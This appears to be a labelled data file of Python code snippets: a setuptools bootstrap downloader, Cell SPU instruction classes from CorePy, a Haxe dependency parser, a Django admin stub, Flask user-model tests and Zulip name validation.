stderr=devnull) except Exception: return False return True download_file_curl.viable = has_curl def download_file_wget(url, target): cmd = ['wget', url, '--quiet', '--output-document', target] _clean_check(cmd, target) def has_wget(): cmd = ['wget', '--version'] with open(os.path.devnull, 'wb') as devnull: try: subprocess.check_call(cmd, stdout=devnull, stderr=devnull) except Exception: return False return True download_file_wget.viable = has_wget def download_file_insecure(url, target): """""" Use Python to download the file, even though it cannot authenticate the connection. """""" src = urlopen(url) try: # Read all the data in one block. data = src.read() finally: src.close() # Write all the data in one block to avoid creating a partial file. with open(target, ""wb"") as dst: dst.write(data) download_file_insecure.viable = lambda: True def get_best_downloader(): downloaders = ( download_file_powershell, download_file_curl, download_file_wget, download_file_insecure, ) viable_downloaders = (dl for dl in downloaders if dl.viable()) return next(viable_downloaders, None) def download_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL, to_dir=os.curdir, delay=15, downloader_factory=get_best_downloader): """""" Download setuptools from a specified location and return its filename `version` should be a valid setuptools version number that is available as an sdist for download under the `download_base` URL (which should end with a '/'). `to_dir` is the directory where the egg will be downloaded. `delay` is the number of seconds to pause before an actual download attempt. ``downloader_factory`` should be a function taking no arguments and returning a function for downloading a URL to a target. """""" # making sure we use the absolute path to_dir = os.path.abspath(to_dir) zip_name = ""setuptools-%s.zip"" % version url = download_base + zip_name saveto = os.path.join(to_dir, zip_name) if not os.path.exists(saveto): # Avoid repeated downloads log.warn(""Downloading %s"", url) downloader = downloader_factory() downloader(url, saveto) return os.path.realpath(saveto) def _build_install_args(options): """""" Build the arguments to 'python setup.py install' on the setuptools package """""" return ['--user'] if options.user_install else [] def _parse_args(): """""" Parse the command line for options """""" parser = optparse.OptionParser() parser.add_option( '--user', dest='user_install', action='store_true', default=False, help='install in user site package (requires Python 2.6 or later)') parser.add_option( '--download-base', dest='download_base', metavar=""URL"", default=DEFAULT_URL, help='alternative URL from where to download the setuptools package') parser.add_option( '--insecure', dest='downloader_factory', action='store_const', const=lambda: download_file_insecure, default=get_best_downloader, help='Use internal, non-validating downloader' ) parser.add_option( '--version', help=""Specify which version to download"", default=DEFAULT_VERSION, ) options, args = parser.parse_args() # positional arguments are ignored return options def main(): """"""Install or upgrade setuptools and EasyInstall"""""" options = _parse_args() archive = download_setuptools( version=options.version, download_base=options.download_base, downloader_factory=options.downloader_factory, ) return _install(archive, _build_install_args(options)) if __name__ == '__main__': sys.exit(main()) ",1 " # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # - Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # - Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # - Neither the Indiana University nor the names of its contributors may be used # to endorse or promote products derived from this software without specific # prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from corepy.spre.spe import Instruction, DispatchInstruction, Register from spu_insts import * __doc__="""""" ISA for the Cell Broadband Engine's SPU. """""" class lqx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':452} cycles = (1, 6, 0) class stqx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':324} cycles = (1, 6, 0) class cbx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':468} cycles = (1, 4, 0) class chx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':469} cycles = (1, 4, 0) class cwx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':470} cycles = (1, 4, 0) class cdx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':471} cycles = (1, 4, 0) class ah(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':200} cycles = (0, 2, 0) class a(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':192} cycles = (0, 2, 0) class sfh(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':72} cycles = (0, 2, 0) class sf(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':64} cycles = (0, 2, 0) class addx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':832} cycles = (0, 2, 0) class cg(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':194} cycles = (0, 2, 0) class cgx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':834} cycles = (0, 2, 0) class sfx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':833} cycles = (0, 2, 0) class bg(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':66} cycles = (0, 2, 0) class bgx(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':835} cycles = (0, 2, 0) class mpy(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':964} cycles = (0, 7, 0) class mpyu(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':972} cycles = (0, 7, 0) class mpyh(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':965} cycles = (0, 7, 0) class mpys(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':967} cycles = (0, 7, 0) class mpyhh(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':966} cycles = (0, 7, 0) class mpyhha(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':838} cycles = (0, 7, 0) class mpyhhu(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':974} cycles = (0, 7, 0) class mpyhhau(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':846} cycles = (0, 7, 0) class clz(Instruction): machine_inst = OPCD_A_T params = {'OPCD':677} cycles = (0, 2, 0) class cntb(Instruction): machine_inst = OPCD_A_T params = {'OPCD':692} cycles = (0, 4, 0) class fsmb(Instruction): machine_inst = OPCD_A_T params = {'OPCD':438} cycles = (1, 4, 0) class fsmh(Instruction): machine_inst = OPCD_A_T params = {'OPCD':437} cycles = (1, 4, 0) class fsm(Instruction): machine_inst = OPCD_A_T params = {'OPCD':436} cycles = (1, 4, 0) class gbb(Instruction): machine_inst = OPCD_A_T params = {'OPCD':434} cycles = (1, 4, 0) class gbh(Instruction): machine_inst = OPCD_A_T params = {'OPCD':433} cycles = (1, 4, 0) class gb(Instruction): machine_inst = OPCD_A_T params = {'OPCD':432} cycles = (1, 4, 0) class avgb(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':211} cycles = (0, 4, 0) class absdb(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':83} cycles = (0, 4, 0) class sumb(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':595} cycles = (0, 4, 0) class xsbh(Instruction): machine_inst = OPCD_A_T params = {'OPCD':694} cycles = (0, 2, 0) class xshw(Instruction): machine_inst = OPCD_A_T params = {'OPCD':686} cycles = (0, 2, 0) class xswd(Instruction): machine_inst = OPCD_A_T params = {'OPCD':678} cycles = (0, 2, 0) class and_(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':193} cycles = (0, 2, 0) class andc(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':705} cycles = (0, 2, 0) class or_(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':65} cycles = (0, 2, 0) class orc(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':713} cycles = (0, 2, 0) class orx(Instruction): machine_inst = OPCD_A_T params = {'OPCD':496} cycles = (1, 4, 0) class xor(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':577} cycles = (0, 2, 0) class nand(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':201} cycles = (0, 2, 0) class nor(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':73} cycles = (0, 2, 0) class eqv(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':585} cycles = (0, 2, 0) class shlh(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':95} cycles = (0, 4, 0) class shl(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':91} cycles = (0, 4, 0) class shlqbi(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':475} cycles = (1, 4, 0) class shlqby(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':479} cycles = (1, 4, 0) class shlqbybi(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':463} cycles = (1, 4, 0) class roth(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':92} cycles = (0, 4, 0) class rot(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':88} cycles = (0, 4, 0) class rotqby(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':476} cycles = (1, 4, 0) class rotqbybi(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':460} cycles = (1, 4, 0) class rotqbi(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':472} cycles = (1, 4, 0) class rothm(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':93} cycles = (0, 4, 0) class rotm(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':89} cycles = (0, 4, 0) class rotqmby(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':477} cycles = (1, 4, 0) class rotqmbybi(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':461} cycles = (1, 4, 0) class rotqmbi(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':473} cycles = (1, 4, 0) class rotmah(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':94} cycles = (0, 4, 0) class rotma(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':90} cycles = (0, 4, 0) class heq(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':984} cycles = (0, 2, 0) class hgt(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':600} cycles = (0, 2, 0) class hlgt(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':728} cycles = (0, 2, 0) class ceqb(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':976} cycles = (0, 2, 0) class ceqh(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':968} cycles = (0, 2, 0) class ceq(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':960} cycles = (0, 2, 0) class cgtb(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':592} cycles = (0, 2, 0) class cgth(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':584} cycles = (0, 2, 0) class cgt(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':576} cycles = (0, 2, 0) class clgtb(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':720} cycles = (0, 2, 0) class clgth(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':712} cycles = (0, 2, 0) class clgt(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':704} cycles = (0, 2, 0) class bi(Instruction): machine_inst = OPCD_A_D_E params = {'OPCD':424} cycles = (1, 4, 0) class iret(Instruction): machine_inst = OPCD_A_D_E params = {'OPCD':426} cycles = (1, 4, 0) class bisled(Instruction): machine_inst = OPCD_A_T_D_E params = {'OPCD':427} cycles = (1, 4, 0) class bisl(Instruction): machine_inst = OPCD_A_T_D_E params = {'OPCD':425} cycles = (1, 4, 0) class biz(Instruction): machine_inst = OPCD_A_T_D_E params = {'OPCD':296} cycles = (1, 4, 0) class binz(Instruction): machine_inst = OPCD_A_T_D_E params = {'OPCD':297} cycles = (1, 4, 0) class bihz(Instruction): machine_inst = OPCD_A_T_D_E params = {'OPCD':294} cycles = (1, 4, 0) class bihnz(Instruction): machine_inst = OPCD_A_T_D_E params = {'OPCD':299} cycles = (1, 4, 0) # TODO - can we check that if P is set then RO is zero as required? class hbr(DispatchInstruction): cycles = (1, 15, 0) dispatch = ( (OPCD_RO_A_P, {'OPCD':428}), (OPCD_LBL9_A_P, {'OPCD':428})) class fa(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':708} cycles = (0, 6, 0) class dfa(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':716} cycles = (0, 13, 6) class fs(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':709} cycles = (0, 6, 0) class dfs(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':717} cycles = (0, 13, 6) class fm(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':710} cycles = (0, 6, 0) class dfm(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':718} cycles = (0, 13, 6) class dfma(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':860} cycles = (0, 13, 6) class dfnms(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':862} cycles = (0, 13, 6) class dfms(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':861} cycles = (0, 13, 6) class dfnma(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':863} cycles = (0, 13, 6) class frest(Instruction): machine_inst = OPCD_A_T params = {'OPCD':440} cycles = (1, 4, 0) class frsqest(Instruction): machine_inst = OPCD_A_T params = {'OPCD':441} cycles = (1, 4, 0) class fi(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':980} cycles = (0, 7, 0) class frds(Instruction): machine_inst = OPCD_A_T params = {'OPCD':953} cycles = (0, 13, 6) class fesd(Instruction): machine_inst = OPCD_A_T params = {'OPCD':952} cycles = (0, 13, 6) class fceq(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':962} cycles = (0, 2, 0) class fcmeq(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':970} cycles = (0, 2, 0) class fcgt(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':706} cycles = (0, 2, 0) class fcmgt(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':714} cycles = (0, 2, 0) class fscrwr(Instruction): machine_inst = OPCD_A_T params = {'OPCD':954} cycles = (0, 7, 0) class fscrrd(Instruction): machine_inst = OPCD_T params = {'OPCD':920} cycles = (0, 13, 6) class stop(Instruction): machine_inst = OPCD_STOP_SIG params = {'OPCD':0} cycles = (1, 4, 0) class stopd(Instruction): machine_inst = OPCD_B_A_T params = {'OPCD':320} cycles = (1, 4, 0) class lnop(Instruction): machine_inst = OPCD params = {'OPCD':1} cycles = (1, 0, 0) class nop(Instruction): machine_inst = OPCD_T params = {'OPCD':513} cycles = (0, 0, 0) class sync(Instruction): machine_inst = OPCD_CF params = {'OPCD':2} cycles = (1, 4, 0) class dsync(Instruction): machine_inst = OPCD params = {'OPCD':3} cycles = (1, 4, 0) class mfspr(Instruction): machine_inst = OPCD_SA_T params = {'OPCD':12} cycles = (1, 6, 0) class mtspr(Instruction): machine_inst = OPCD_SA_T params = {'OPCD':268} cycles = (1, 6, 0) class rdch(Instruction): machine_inst = OPCD_A_T params = {'OPCD':13} cycles = (1, 6, 0) class rchcnt(Instruction): machine_inst = OPCD_A_T params = {'OPCD':15} cycles = (1, 6, 0) class wrch(Instruction): machine_inst = OPCD_A_T params = {'OPCD':269} cycles = (1, 6, 0) class mpya(Instruction): machine_inst = OPCD_T_B_A_C params = {'OPCD':12} cycles = (0, 7, 0) class selb(Instruction): machine_inst = OPCD_T_B_A_C params = {'OPCD':8} cycles = (0, 2, 0) class shufb(Instruction): machine_inst = OPCD_T_B_A_C params = {'OPCD':11} cycles = (1, 4, 0) class fma(Instruction): machine_inst = OPCD_T_B_A_C params = {'OPCD':14} cycles = (0, 6, 0) class fnms(Instruction): machine_inst = OPCD_T_B_A_C params = {'OPCD':13} cycles = (0, 6, 0) class fms(Instruction): machine_inst = OPCD_T_B_A_C params = {'OPCD':15} cycles = (0, 6, 0) class cbd(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':500} cycles = (1, 4, 0) class chd(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':501} cycles = (1, 4, 0) class cwd(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':502} cycles = (1, 4, 0) class cdd(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':503} cycles = (1, 4, 0) class shlhi(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':127} cycles = (0, 4, 0) class shli(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':123} cycles = (0, 4, 0) class shlqbii(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':507} cycles = (1, 4, 0) class shlqbyi(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':511} cycles = (1, 4, 0) class rothi(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':124} cycles = (0, 4, 0) class roti(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':120} cycles = (0, 4, 0) class rotqbyi(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':508} cycles = (1, 4, 0) class rotqbii(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':504} cycles = (1, 4, 0) class rothmi(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':125} cycles = (0, 4, 0) class rotmi(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':121} cycles = (0, 4, 0) class rotqmbyi(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':509} cycles = (1, 4, 0) class rotqmbii(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':505} cycles = (1, 4, 0) class rotmahi(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':126} cycles = (0, 4, 0) class rotmai(Instruction): machine_inst = OPCD_I7_A_T params = {'OPCD':122} cycles = (0, 4, 0) class csflt(Instruction): machine_inst = OPCD_I8_A_T params = {'OPCD':474} cycles = (0, 7, 0) class cflts(Instruction): machine_inst = OPCD_I8_A_T params = {'OPCD':472} cycles = (0, 7, 0) class cuflt(Instruction): machine_inst = OPCD_I8_A_T params = {'OPCD':475} cycles = (0, 7, 0) class cfltu(Instruction): machine_inst = OPCD_I8_A_T params = {'OPCD':473} cycles = (0, 7, 0) class lqd(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':52} cycles = (1, 6, 0) class stqd(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':36} cycles = (1, 6, 0) class ahi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':29} cycles = (0, 2, 0) class ai(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':28} cycles = (0, 2, 0) class sfhi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':13} cycles = (0, 2, 0) class sfi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':12} cycles = (0, 2, 0) class mpyi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':116} cycles = (0, 7, 0) class mpyui(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':117} cycles = (0, 7, 0) class andbi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':22} cycles = (0, 2, 0) class andhi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':21} cycles = (0, 2, 0) class andi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':20} cycles = (0, 2, 0) class orbi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':6} cycles = (0, 2, 0) class orhi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':5} cycles = (0, 2, 0) class ori(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':4} cycles = (0, 2, 0) class xorbi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':70} cycles = (0, 2, 0) class xorhi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':69} cycles = (0, 2, 0) class xori(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':68} cycles = (0, 2, 0) class heqi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':127} cycles = (0, 2, 0) class hgti(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':79} cycles = (0, 2, 0) class hlgti(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':95} cycles = (0, 2, 0) class ceqbi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':126} cycles = (0, 2, 0) class ceqhi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':125} cycles = (0, 2, 0) class ceqi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':124} cycles = (0, 2, 0) class cgtbi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':78} cycles = (0, 2, 0) class cgthi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':77} cycles = (0, 2, 0) class cgti(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':76} cycles = (0, 2, 0) class clgtbi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':94} cycles = (0, 2, 0) class clgthi(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':93} cycles = (0, 2, 0) class clgti(Instruction): machine_inst = OPCD_I10_A_T params = {'OPCD':92} cycles = (0, 2, 0) class lqa(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':97} cycles = (1, 6, 0) class lqr(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':103} cycles = (1, 6, 0) class stqa(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':65} cycles = (1, 6, 0) class stqr(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':71} cycles = (1, 6, 0) class ilh(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':131} cycles = (0, 2, 0) class ilhu(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':130} cycles = (0, 2, 0) class il(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':129} cycles = (0, 2, 0) class iohl(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':193} cycles = (0, 2, 0) class fsmbi(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':101} cycles = (1, 4, 0) class br(DispatchInstruction): cycles = (1, 4, 0) dispatch = ( (OPCD_I16, {'OPCD':100}), (OPCD_LBL16, {'OPCD':100})) # TODO - how can I do absolute branches? class bra(Instruction): machine_inst = OPCD_I16 params = {'OPCD':96} cycles = (1, 4, 0) # TODO - I16 has two zero bits appended, do I handle this correctly? # What is the correct way, anyway? class brsl(DispatchInstruction): cycles = (1, 4, 0) dispatch = ( (OPCD_I16_T, {'OPCD':102}), (OPCD_LBL16_T, {'OPCD':102})) class brasl(Instruction): machine_inst = OPCD_I16_T params = {'OPCD':98} cycles = (1, 4, 0) class brnz(DispatchInstruction): cycles = (1, 4, 0) dispatch = ( (OPCD_I16_T, {'OPCD':66}), (OPCD_LBL16_T, {'OPCD':66})) class brz(DispatchInstruction): cycles = (1, 4, 0) dispatch = ( (OPCD_I16_T, {'OPCD':64}), (OPCD_LBL16_T, {'OPCD':64})) class brhnz(DispatchInstruction): cycles = (1, 4, 0) dispatch = ( (OPCD_I16, {'OPCD':70}), (OPCD_LBL16, {'OPCD':70})) class brhz(DispatchInstruction): cycles = (1, 4, 0) dispatch = ( (OPCD_I16, {'OPCD':68}), (OPCD_LBL16, {'OPCD':68})) class hbra(Instruction): machine_inst = OPCD_LBL9_I16 params = {'OPCD':8} cycles = (1, 15, 0) class hbrr(DispatchInstruction): cycles = (1, 15, 0) dispatch = ( (OPCD_ROA_I16, {'OPCD':9}), (OPCD_LBL9_LBL16, {'OPCD':9})) class ila(Instruction): machine_inst = OPCD_I18_T params = {'OPCD':33} cycles = (0, 2, 0) ",1 " 2018 Alan Hamlett. :license: BSD, see LICENSE for more details. """""" from . import TokenParser class HaxeParser(TokenParser): exclude = [ r'^haxe$', ] state = None def parse(self): for index, token, content in self.tokens: self._process_token(token, content) return self.dependencies def _process_token(self, token, content): if self.partial(token) == 'Namespace': self._process_namespace(token, content) elif self.partial(token) == 'Text': self._process_text(token, content) else: self._process_other(token, content) def _process_namespace(self, token, content): if self.state == 'import': self.append(self._format(content)) self.state = None else: self.state = content def _process_text(self, token, content): pass def _process_other(self, token, content): self.state = None def _format(self, content): return content.strip() ",1 "it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """""" from django.contrib import admin from models import * class ProfileAdmin(admin.ModelAdmin): list_display = ('screen_name','city','introduction') admin.site.register(UserProfile,ProfileAdmin)",1 " class UserModelTestCase(unittest.TestCase): def setUp(self): self.app = create_app('testing') self.app_context = self.app.app_context() self.app_context.push() db.create_all() Role.insert_roles() def tearDown(self): db.session.remove() db.drop_all() self.app_context.pop() def test_password_setter(self): u = User(password='cat') self.assertTrue(u.password_hash is not None) def test_no_password_getter(self): u = User(password='cat') with self.assertRaises(AttributeError): u.password def test_password_verification(self): u = User(password='cat') self.assertTrue(u.verify_password('cat')) self.assertFalse(u.verify_password('dog')) def test_password_salts_are_random(self): u = User(password='cat') u2 = User(password='cat') self.assertTrue(u.password_hash != u2.password_hash) def test_valid_confirmation_token(self): u = User(password='cat') db.session.add(u) db.session.commit() token = u.generate_confirmation_token() self.assertTrue(u.confirm(token)) def test_invalid_confirmation_token(self): u1 = User(password='cat') u2 = User(password='dog') db.session.add(u1) db.session.add(u2) db.session.commit() token = u1.generate_confirmation_token() self.assertFalse(u2.confirm(token)) def test_expired_confirmation_token(self): u = User(password='cat') db.session.add(u) db.session.commit() token = u.generate_confirmation_token(1) time.sleep(2) self.assertFalse(u.confirm(token)) def test_valid_reset_token(self): u = User(password='cat') db.session.add(u) db.session.commit() token = u.generate_reset_token() self.assertTrue(u.reset_password(token, 'dog')) self.assertTrue(u.verify_password('dog')) def test_invalid_reset_token(self): u1 = User(password='cat') u2 = User(password='dog') db.session.add(u1) db.session.add(u2) db.session.commit() token = u1.generate_reset_token() self.assertFalse(u2.reset_password(token, 'horse')) self.assertTrue(u2.verify_password('dog')) def test_valid_email_change_token(self): u = User(email='john@example.com', password='cat') db.session.add(u) db.session.commit() token = u.generate_email_change_token('susan@example.org') self.assertTrue(u.change_email(token)) self.assertTrue(u.email == 'susan@example.org') def test_invalid_email_change_token(self): u1 = User(email='john@example.com', password='cat') u2 = User(email='susan@example.org', password='dog') db.session.add(u1) db.session.add(u2) db.session.commit() token = u1.generate_email_change_token('david@example.net') self.assertFalse(u2.change_email(token)) self.assertTrue(u2.email == 'susan@example.org') def test_duplicate_email_change_token(self): u1 = User(email='john@example.com', password='cat') u2 = User(email='susan@example.org', password='dog') db.session.add(u1) db.session.add(u2) db.session.commit() token = u2.generate_email_change_token('john@example.com') self.assertFalse(u2.change_email(token)) self.assertTrue(u2.email == 'susan@example.org') def test_roles_and_permissions(self): u = User(email='john@example.com', password='cat') self.assertTrue(u.can(Permission.WRITE_ARTICLES)) self.assertFalse(u.can(Permission.MODERATE_COMMENTS)) def test_anonymous_user(self): u = AnonymousUser() self.assertFalse(u.can(Permission.FOLLOW)) def test_timestamps(self): u = User(password='cat') db.session.add(u) db.session.commit() self.assertTrue( (datetime.utcnow() - u.member_since).total_seconds() < 3) self.assertTrue( (datetime.utcnow() - u.last_seen).total_seconds() < 3) def test_ping(self): u = User(password='cat') db.session.add(u) db.session.commit() time.sleep(2) last_seen_before = u.last_seen u.ping() self.assertTrue(u.last_seen > last_seen_before) def test_gravatar(self): u = User(email='john@example.com', password='cat') with self.app.test_request_context('/'): gravatar = u.gravatar() gravatar_256 = u.gravatar(size=256) gravatar_pg = u.gravatar(rating='pg') gravatar_retro = u.gravatar(default='retro') with self.app.test_request_context('/', base_url='https://example.com'): gravatar_ssl = u.gravatar() self.assertTrue('http://www.gravatar.com/avatar/' + 'd4c74594d841139328695756648b6bd6'in gravatar) self.assertTrue('s=256' in gravatar_256) self.assertTrue('r=pg' in gravatar_pg) self.assertTrue('d=retro' in gravatar_retro) self.assertTrue('https://secure.gravatar.com/avatar/' + 'd4c74594d841139328695756648b6bd6' in gravatar_ssl) ",1 "t settings from django.core.exceptions import ValidationError from django.db.models.query import QuerySet from django.forms.models import model_to_dict from django.utils.translation import gettext as _ from typing_extensions import TypedDict from zulip_bots.custom_exceptions import ConfigValidationError from zerver.lib.avatar import avatar_url, get_avatar_field from zerver.lib.cache import ( bulk_cached_fetch, realm_user_dict_fields, user_profile_by_id_cache_key, user_profile_cache_key_id, ) from zerver.lib.exceptions import OrganizationAdministratorRequired from zerver.lib.request import JsonableError from zerver.lib.timezone import canonicalize_timezone from zerver.models import ( CustomProfileField, CustomProfileFieldValue, Realm, Service, UserProfile, get_realm_user_dicts, get_user_profile_by_id_in_realm, ) def check_full_name(full_name_raw: str) -> str: full_name = full_name_raw.strip() if len(full_name) > UserProfile.MAX_NAME_LENGTH: raise JsonableError(_(""Name too long!"")) if len(full_name) < UserProfile.MIN_NAME_LENGTH: raise JsonableError(_(""Name too short!"")) for character in full_name: if unicodedata.category(character)[0] == ""C"" or character in UserProfile.NAME_INVALID_CHARS: raise JsonableError(_(""Invalid characters in name!"")) # Names ending with e.g. `|15` could be ambiguous for # sloppily-written parsers of our Markdown syntax for mentioning # users with ambiguous names, and likely have no real use, so we # ban them. if re.search(r""\|\d+$"", full_name_raw): raise JsonableError(_(""Invalid 